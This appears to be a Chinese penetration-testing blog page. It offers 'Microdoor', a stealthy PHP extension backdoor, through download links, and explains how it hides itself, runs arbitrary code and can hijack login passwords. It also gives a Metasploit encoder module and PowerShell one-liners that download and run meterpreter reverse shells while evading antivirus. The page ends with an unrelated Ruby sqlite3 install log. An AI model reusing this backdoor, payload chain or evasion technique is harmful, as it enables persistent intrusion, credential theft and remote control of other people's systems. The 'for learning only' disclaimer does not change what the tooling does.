专注APT攻击与防御

所有Microdoor系列仅供学习，通过了解相关原理，来做自身安全与防护。切勿非法使用。 Microdoor for php 作为backdoor，更为隐蔽，所有调用以及代码任意执行，都调用内核函数，php禁用执行函数依然可以执行任意php代码。无缝连接菜刀，以及第三方渗透框架。并且在phpinfo,以及php -m 隐藏自身。旨意通过了解相关原理，做好相关安全防护。
How to install?




php5.x x64 backdoor for linux public_x64.so Size: 26800 bytes MD5: 1C21BD02D26E9A3914A9A7248B799715 SHA1: 934D577EDBCBC6FEB93AA52DE2C195BE59269B77 CRC32: 8145921D 备注：public_x64.so仅适用x64位php5.x for Linux 的Microdoor。不适用其他版本。 为防止原文件被篡改，使用前，请对比文件MD5值。 https://drive.google.com/file/d/1qDYcGuODAUOWF8rKGw4okQ34TyBK9vBh/view?usp=sharing php5.x x32 backdoor for linux public_x32.so Size: 26127 bytes MD5: 9BF67665FDCB30C355358624DBEB79BB SHA1: 3E996D33F18C1E34600203E8C348988449865888 CRC32: 54264834 备注：public_x32.so仅适用x32位 php5.x for Linux的Microdoor。不适用其他版本。 为防止原文件被篡改，使用前，请对比文件MD5值。 https://drive.google.com/file/d/1hF0ZRlz7qZCrWShPNSIumIhlR-pjAx34/view?usp=sharing php5.x x32 backdoor for windows public_x86.dll Size: 68608 bytes MD5: F5FAF58A15ADC9946A3C34220653DB21 SHA1: 70CA2B9F7ACDADDE0A8A20702EAA897B8EEB43E2 CRC32: 306CDD73 备注：public_x86.dll仅适用x32位php5.x for Windows 的Microdoor。不适用其他版本。 为防止原文件被篡改，使用前，请对比文件MD5值。 https://drive.google.com/file/d/1b_TYaV2gfM6_iJLNx-61qQRUskwwh4dR/view?usp=sharing PHP7.X x32 for linux public_x32_7.x.so Size: 40188 字节 MD5: 472BBC6A3673D7C0C234A5494FDF0A92 SHA1: BCB760BDEB34972E540121591E95866AED78066E CRC32: 9F17393A 备注：public_x32_7.x.so仅适用x32位 php7.x for Linux的Microdoor。不适用其他版本。 为防止原文件被篡改，使用前，请对比文件MD5值。 https://drive.google.com/file/d/1UJYyKTZ-LZpSUvmRq_Gg3oI_Sn0Q8YZN/view PHP7.X x64 for linux public_x64_7.x.so Size: 42000 字节 MD5: B5370B1C04C5D6E7A3586BFF262BAF19 SHA1: A1F58D3A7DA18C1184CA3C1CD225D5D353231FC0 CRC32: A4BA02C1 备注：public_x64_7.x.so仅适用x64位 php7.x for Linux的Microdoor。不适用其他版本。 为防止原文件被篡改，使用前，请对比文件MD5值。 https://drive.google.com/file/d/1WkQInZQ53PHe104MKHqFOG_-ydCZh4lN/view



注：部分windows dll版，如果有需求的话，未来编译发布。

      目前日期为2018-05-10，php版本目前总共分为3大类，php5.x，php7.x，以及之php5.x之前版本。而目前市场多用于php5.x以及php7.x。本文仅讨论php5.x与php7.x。早期php4.x中 ZendEngine 1.0 API并不在讨论范围。
文章将围绕几个话题来对抗安全软件：
1.php本身的变形，加密等是否可以完全胜任一个优秀的bockdoor，并且对抗安全软件。
2.如何将访问.php，的协议转换来对抗waf，比如http，转化tcp，tcp->tcp方式触发后门
3.考虑backdoor本身的特性，增加标签，如标签1临时性，标签2持续性（比如标签1用户菜刀的连接，查看目标数据库或者backdoor服务器本身的其他文件等。标签2来触发持续性渗透，比如无缝连接msf，Cobalt Strike等）
4.考虑如何在目标服务器无文件残留来留有可持续性后门
5.实用性与实战性，比如目标机不出网。那么该后门是否可以解决目标机在不出网的前提下，带入第三方渗透框架（如msf，Cobalt Strike等）
6.针对性自定义敏感目标的敏感数据。（如目标使用wordpress，如何在不修改目标机php登录源码来可持续性劫持明文密码）
7.backdoor的市场性质与私用性质
8.总结
无论是哪个版本的php，它的引擎都大量的使用了HashTable，如果说php是最好的语言之一，那么一定是在说HashTable。

期间补充大量php内核相关知识，可直接跳到操作总结。

(1)php语言本身的变形或者加密等，目前并不能完全对抗安全软件，并且作为以backdoor的形式。比如易暴露，易查杀等。而本身也不具备多标签属性。如临时使用，与持续渗透使用。
(2)waf是通过执行一系列针对HTTP/HTTPS的安全策略防护，而作为backdoor，应尽可能避免http协议来持续连接后门。如hook，phpinfo()，当访问phpinfo(),目标机开始触发tcp监听，并且sharing port 80。连接后门是tcp（攻击机）->tcp（目标机），来躲避waf的防御的本质。
(3)目前的安全软件针对backdoor越来越强大。而backdoor的多属性标签行为分开来对抗软件。（如：backdoor有2种标签属性，一种标签是执行任意php代码[临时使用，如菜刀连接]，另一种标签是hook func或是开启其他功能，但是触发backdoor的点却完全不同，这与传统php_backdoor有着本质的区别，如想要触发php代码任意执行，访问页面1触发，而触发hook 是被动触发，触发listen，访问页面2来触发。而页面1与2无任何关联）
(4)针对php的扩展开发，同时要考虑到backdoor本身是私用还是项目或者公用。如私用的backdoor，更多考虑的是稳定性，长期性，而非易用性，通用性。如项目或者公用的backdoor优先考虑到易用性与通用性，如全版本的phpbackdoor，同时支持php5.x，php7.x等，它是一个很好的公用性质的backdoor，但是绝对不是一个优秀的私用backdoor。因在实现中，需要考虑到PHP_MAJOR_VERSION问题。
(5)往往在实战过程中，目标机存在不出网的环境，也就是你可以访问它，但是目标机不可以对外访问。增加了对目标内网以及PC机的渗透时间成本。这里需要考虑到1，针对不出网的前提下，backdoor本身的sharing port，以及可以无缝对接渗透框架（如msf，Cobalt Strike等）。
(6)渗透大型目（如mail服务商）或者大型公司域内员工OA，或者mail（php结构），需要时时得到user，password明文，如果目标重要或者数据敏感，更或者是对方源码加密，对于更改目标登录源码来获取并不是一个明智的方法，那么需要优先考虑如何hook func（post user,pass）--> 写入本地，或者发送远程mail，来时时获取。

     PHP的全局变量始终存在，而在内核hash中保存在EG(symbol_table)，而全局变量的访问无论是语言本身还是在内核中，语法基本一致。
global $micropoor;表达为&EG(symbol_table), micropoor，除全局变量以外，在php语言中还存在超全局变量，$_SERVER、$_REQUEST、$_POST、$_GET等，但是在内核中，超全局变量实际是php内核中定义的一些全局变量。
php-src-master\main\php_variables.c:908-917

void php_startup_auto_globals(void) {     zend_register_auto_global(zend_string_init_interned("_GET", sizeof("_GET")-1, 1), 0, php_auto_globals_create_get);     zend_register_auto_global(zend_string_init_interned("_POST", sizeof("_POST")-1, 1), 0, php_auto_globals_create_post);     zend_register_auto_global(zend_string_init_interned("_COOKIE", sizeof("_COOKIE")-1, 1), 0, php_auto_globals_create_cookie);     zend_register_auto_global(zend_string_init_interned("_SERVER", sizeof("_SERVER")-1, 1), PG(auto_globals_jit), php_auto_globals_create_server);     zend_register_auto_global(zend_string_init_interned("_ENV", sizeof("_ENV")-1, 1), PG(auto_globals_jit), php_auto_globals_create_env);     zend_register_auto_global(zend_string_init_interned("_REQUEST", sizeof("_REQUEST")-1, 1), PG(auto_globals_jit), php_auto_globals_create_request);     zend_register_auto_global(zend_string_init_interned("_FILES", sizeof("_FILES")-1, 1), 0, php_auto_globals_create_files); }
跟zend_register_auto_global

php-src-master\Zend\zend_compile.c:1649-1661


int zend_register_auto_global(zend_string *name, zend_bool jit, zend_auto_global_callback auto_global_callback) /* {{{ */ {     zend_auto_global auto_global;     int retval;     auto_global.name = name;     auto_global.auto_global_callback = auto_global_callback;     auto_global.jit = jit;     retval = zend_hash_add_mem(CG(auto_globals), auto_global.name, &auto_global, sizeof(zend_auto_global)) != NULL ? SUCCESS : FAILURE;     return retval;
}
把对象保存CG(auto_globals)这个全局变量,正如上文，在内核中，超全局变量实际为php内核定义的全局变量。保存在CG。


   而backdoor常用除EG，CG辅助宏外，其他辅助宏为：

EG();//全局变量 executor_globals 如$_GLOBALS[EG(symbol_table),地址:EG(active_symbol_table) PG();//核心变量 php_core_globals 如:$_GET $_POST .. PG(http_globals)[TRACK_VARS_*],INI信息 SG();//SAPI变量 请求数据 sapi_globals_struct 如:HTTP原始请求变量 sapi_request_info CG();//编译变量 compiler_globals 可以得到函数表,类表 EX();//当前执行数据 zend_execute_data 可以获取到当前执行的函数,类,OPCODE等 OG();//输出变量 output_globals
了解了超全局变量，全局变量，常量等，如果需要hook 自定义或本身函数，还需声明导出函数，Zend本身提供了一组宏，类型为void

// function declaration PHP_MINIT_FUNCTION(my_extension);    // ... some code ...    zend_module_entry my_extension_module_entry = { #if ZEND_MODULE_API_NO >= 20010901     STANDARD_MODULE_HEADER, #endif     "my_extension",     my_extension_functions,     PHP_MINIT(my_extension),     NULL,     NULL,     NULL,     NULL, #if ZEND_MODULE_API_NO >= 20010901     "1.0", #endif     STANDARD_MODULE_PROPERTIES };    // ... some code ...    // function implementation PHP_MINIT_FUNCTION(hosting_tools) {     REGISTER_INI_ENTRIES();     return SUCCESS; }

在php请求过程中，需要调用HashTable来查找全局变量或者hook func，几个原型如下：

uint32_t zend_hash_num_elements(HashTable *ht);  // 获取数组大小 zval* zend_hash_find(HashTable *ht, zend_string *key);  // 根据 zend_string * 作为 key 查找数组 zval* zend_hash_str_find(HashTable *ht, char *str, size_t len);  // 根据 char * 作为 key 查找数组 zval* zend_hash_index_find(HashTable *ht, zend_ulong h);  // 查找索引 h 的数组元素 void* zend_hash_find_ptr(HashTable *ht, zend_string *key);  // 同上，只是返回元素指针指向的值 void* zend_hash_str_find_ptr(HashTable *ht, char *str, size_t len);  // 跟上同类 void* zend_hash_index_find_ptr(HashTable *ht, zend_ulong h);  // 跟上同类 zend_bool zend_hash_exists(HashTable *ht, zend_string *key);  // zend_string * key 是否存在 zend_bool zend_hash_str_exists(HashTable *ht, char *str, size_t len);  // char * key 是否存在 zend_bool zend_hash_index_exists(HashTable *ht, zend_ulong h);  // 索引 h 是否存在 zend_array *HASH_OF(zval *val);  // 其实 HASH_OF 是一个宏，参数 value 可以是数组 `IS_ARRAY` 或者对象 `IS_OBJECT`，否则返回 NULL
而在php7.x中，HashTable API大部分被修改，列出1处对比原型如下：（具体见tks官方wiki）

- if (zend_hash_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key)+1, (void**)&zv_ptr) == SUCCESS) {  //php5.x + if ((zv = zend_hash_find(ht, Z_STR_P(key))) != NULL) {   //php7.x


操作总结：
接下来考虑的事情是如何把以上枯燥无趣变成一件有趣的事情。并且做出2个demo，2个更具有实战性的backdoor

1.php7.x 劫持_POST，或者_GET等，执行任意php code（临时使用标签）
2.php7.x hook phpinfo,来隐藏一句话（临时使用标签）
3.如何构造php全版本的backdoor（公共或项目backdoor思想）
4.关于第三方框架的嵌入。（持续性标签）

作为demo1，设计出php7.x backdoor，并且目标禁止相关函数，也可以执行任意php code。
以info.php 为demo，内容如下：

访问任意php页面，带有post参数micropoor_php，则执行任意代码。

菜刀配置：
填写<O>自定义code </O>

下载地址： linux php 7.x_x64_backdoor
https://drive.google.com/file/d/1WkQInZQ53PHe104MKHqFOG_-ydCZh4lN/view?usp=sharing


更多有趣的实验：
作为demo2，劫持phpinfo();，使得一句话后门为 <?php phpinfo();?>

demo3，无缝支持第三方框架。嵌入C payload，并sharing port 80.


tks:
http://php.webtutor.pl/
https://wiki.php.net/phpng-upgrading
https://www.jianshu.com/p/32fdad9be6c8
https://github.com/pangudashu/php7-internal/


附录：

php5.x x64 backdoor for linux public_x64.so Size: 26800 bytes MD5: 1C21BD02D26E9A3914A9A7248B799715 SHA1: 934D577EDBCBC6FEB93AA52DE2C195BE59269B77 CRC32: 8145921D 备注：public_x64.so仅适用x64位  php5.x for Linux 的Microdoor。不适用其他版本。 为防止原文件被篡改，使用前，请对比文件MD5值。 所有Microdoor系列仅供学习。 https://drive.google.com/file/d/1qDYcGuODAUOWF8rKGw4okQ34TyBK9vBh/view?usp=sharing php5.x x32 backdoor for linux public_x32.so Size: 26127 bytes MD5: 9BF67665FDCB30C355358624DBEB79BB SHA1: 3E996D33F18C1E34600203E8C348988449865888 CRC32: 54264834 备注：public_x32.so仅适用x32位 php5.x for Linux  的Microdoor。不适用其他版本。 为防止原文件被篡改，使用前，请对比文件MD5值。 所有Microdoor系列仅供学习。 https://drive.google.com/file/d/1hF0ZRlz7qZCrWShPNSIumIhlR-pjAx34/view?usp=sharing

       Windows PowerShell是以.NET Framework技术为基础，并且与现有的WSH保持向后兼容，因此它的脚本程序不仅能访问.NET CLR，也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法，提升管理者处理，常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。
      Windows PowerShell的强大，并且内置，在渗透过程中，也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。
      在https://technet.microsoft.com，看到文档如下：
Here is a listing of the available startup parameters:    -Command Specifies the command text to execute as though it were typed at the PowerShell command prompt.    -EncodedCommand Specifies the base64-encoded command text to execute.    -ExecutionPolicy Sets the default execution policy for the console session.    -File Sets the name of a script fi le to execute.    -InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML.    -NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe).    -NoLogo Starts the PowerShell console without displaying the copyright banner.    -Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user.    -NoProfile Tells the PowerShell console not to load the current user’s profile.    -OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML.    -PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell.    -Sta Starts PowerShell in single-threaded mode.    -Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0.    -WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal. 

针对它的特性，本地测试：
1 Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')



上文所说，越来越多的杀软开始对抗，powershell的部分行为，或者特征。以msfvenom为例，生成payload。

micropoor.ps1不幸被杀。

针对powershell特性，更改payload


接下来考虑的事情是如何把以上重复的工作变成自动化，并且针对powershell，DownloadString特性，设计出2种payload形式：
（1）目标机出网
（2）目标机不出网

并且根据需求，无缝连接Metasploit。

根据微软文档，可以找到可能对以上有帮助的属性，分别为：
WindowStyle
NoExit
EncodedCommand
exec

自动化实现如下：

#       copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell. #       E.g  #       msf encoder(powershell/base64) > use exploit/multi/handler  #       msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp #       payload => windows/x64/meterpreter/reverse_tcp #       msf exploit(multi/handler) > exploit    #       msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.   #       [*] Started reverse TCP handler on xx.1xx.xx.xx:xx   class MetasploitModule < Msf::Encoder   Rank = NormalRanking     def initialize     super(       'Name'             => 'Powershell Base64 Encoder',       'Description'      => %q{         msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.       },       'Author'           => 'Micropoor',       'Arch'             => ARCH_CMD,       'Platform'         => 'win')       register_options([       OptBool.new('payload', [ false, 'Use payload ', false ]),       OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])     ])     end     def encode_block(state, buf)     base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))     cmd = ''     if datastore['x64']       cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '     else       cmd += 'powershell.exe '     end     if datastore['payload']       cmd += '-windowstyle hidden -exec bypass -NoExit '     end     cmd += "-EncodedCommand #{base64}"   end end     # if use caidao # execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows # xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.


copy powershell_base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.


参数 payload 选择是否使用Metasploit payload，来去掉powershell的关键字。

例1（目标出网，下载执行）：

echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows



例2（目标不出网，本地执行）



注：加payload参数
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload

更多有趣的实验：

把例1的down内容更改为例2，并且去掉payload参数。来减小payload大小。

更改Invoke-Mimikatz.ps1等。



tks
https://technet.microsoft.com/en-us/library/ff629472.aspx
https://github.com/danielbohannon/Invoke-Obfuscation

ruby -v
ruby 2.5.1p57 (2018-03-29 revision 63029) [x64-mingw32]

C:\Ruby25-x64\lib\ruby\gems\2.5.0\gems\sqlite3-1.3.13-x64-mingw32>ruby setup.rb
config
---> lib
---> lib/sqlite3
---> lib/sqlite3/2.0
<--- lib/sqlite3/2.0
---> lib/sqlite3/2.1
<--- lib/sqlite3/2.1
---> lib/sqlite3/2.2
<--- lib/sqlite3/2.2
---> lib/sqlite3/2.3
<--- lib/sqlite3/2.3
---> lib/sqlite3/2.4
<--- lib/sqlite3/2.4
<--- lib/sqlite3
<--- lib
---> ext
---> ext/sqlite3
C:/Ruby25-x64/bin/ruby C:/Ruby25-x64/lib/ruby/gems/2.5.0/gems/sqlite3-1.3.13-x64
-mingw32/ext/sqlite3/extconf.rb
checking for sqlite3.h... yes
checking for pthread_create() in -lpthread... yes
checking for sqlite3_libversion_number() in -lsqlite3... yes
checking for rb_proc_arity()... yes
checking for rb_integer_pack()... yes
checking for sqlite3_initialize()... yes
checking for sqlite3_backup_init()... yes
checking for sqlite3_column_database_name()... yes
checking for sqlite3_enable_load_extension()... yes
checking for sqlite3_load_extension()... yes
checking for sqlite3_open_v2()... yes
checking for sqlite3_prepare_v2()... yes
checking for sqlite3_int64 in sqlite3.h... yes
checking for sqlite3_uint64 in sqlite3.h... yes
creating Makefile
<--- ext/sqlite3
<--- ext

C:\Ruby25-x64\lib\ruby\gems\2.5.0\gems\sqlite3-1.3.13-x64-mingw32>ruby setup.rb
setup
---> lib
---> lib/sqlite3
---> lib/sqlite3/2.0
<--- lib/sqlite3/2.0
---> lib/sqlite3/2.1
<--- lib/sqlite3/2.1
---> lib/sqlite3/2.2
<--- lib/sqlite3/2.2
---> lib/sqlite3/2.3
<--- lib/sqlite3/2.3
---> lib/sqlite3/2.4
<--- lib/sqlite3/2.4
<--- lib/sqlite3
<--- lib
---> ext
---> ext/sqlite3
make
generating sqlite3_native-x64-mingw32.def
compiling backup.c
compiling database.c
compiling exception.c
compiling sqlite3.c
compiling statement.c
linking shared-object sqlite3/sqlite3_native.so
<--- ext/sqlite3
<--- ext

C:\Ruby25-x64\lib\ruby\gems\2.5.0\gems\sqlite3-1.3.13-x64-mingw32>ruby setup.rb
 install
---> lib
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/
install sqlite3.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/
---> lib/sqlite3
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install constants.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install database.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install errors.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install pragmas.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install resultset.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install statement.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install translator.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install value.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install version.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
---> lib/sqlite3/2.0
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.0
<--- lib/sqlite3/2.0
---> lib/sqlite3/2.1
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.1
<--- lib/sqlite3/2.1
---> lib/sqlite3/2.2
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.2
<--- lib/sqlite3/2.2
---> lib/sqlite3/2.3
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.3
<--- lib/sqlite3/2.3
---> lib/sqlite3/2.4
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.4
<--- lib/sqlite3/2.4
<--- lib/sqlite3
<--- lib
---> ext
---> ext/sqlite3
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/x64-msvcrt/sqlite3
install sqlite3_native.so C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/x64-msvcrt/sqli
te3
<--- ext/sqlite3
<--- ext

C:\Ruby25-x64\lib\ruby\gems\2.5.0\gems\sqlite3-1.3.13-x64-mingw32>irb
irb(main):001:0> require "sqlite3"
=> true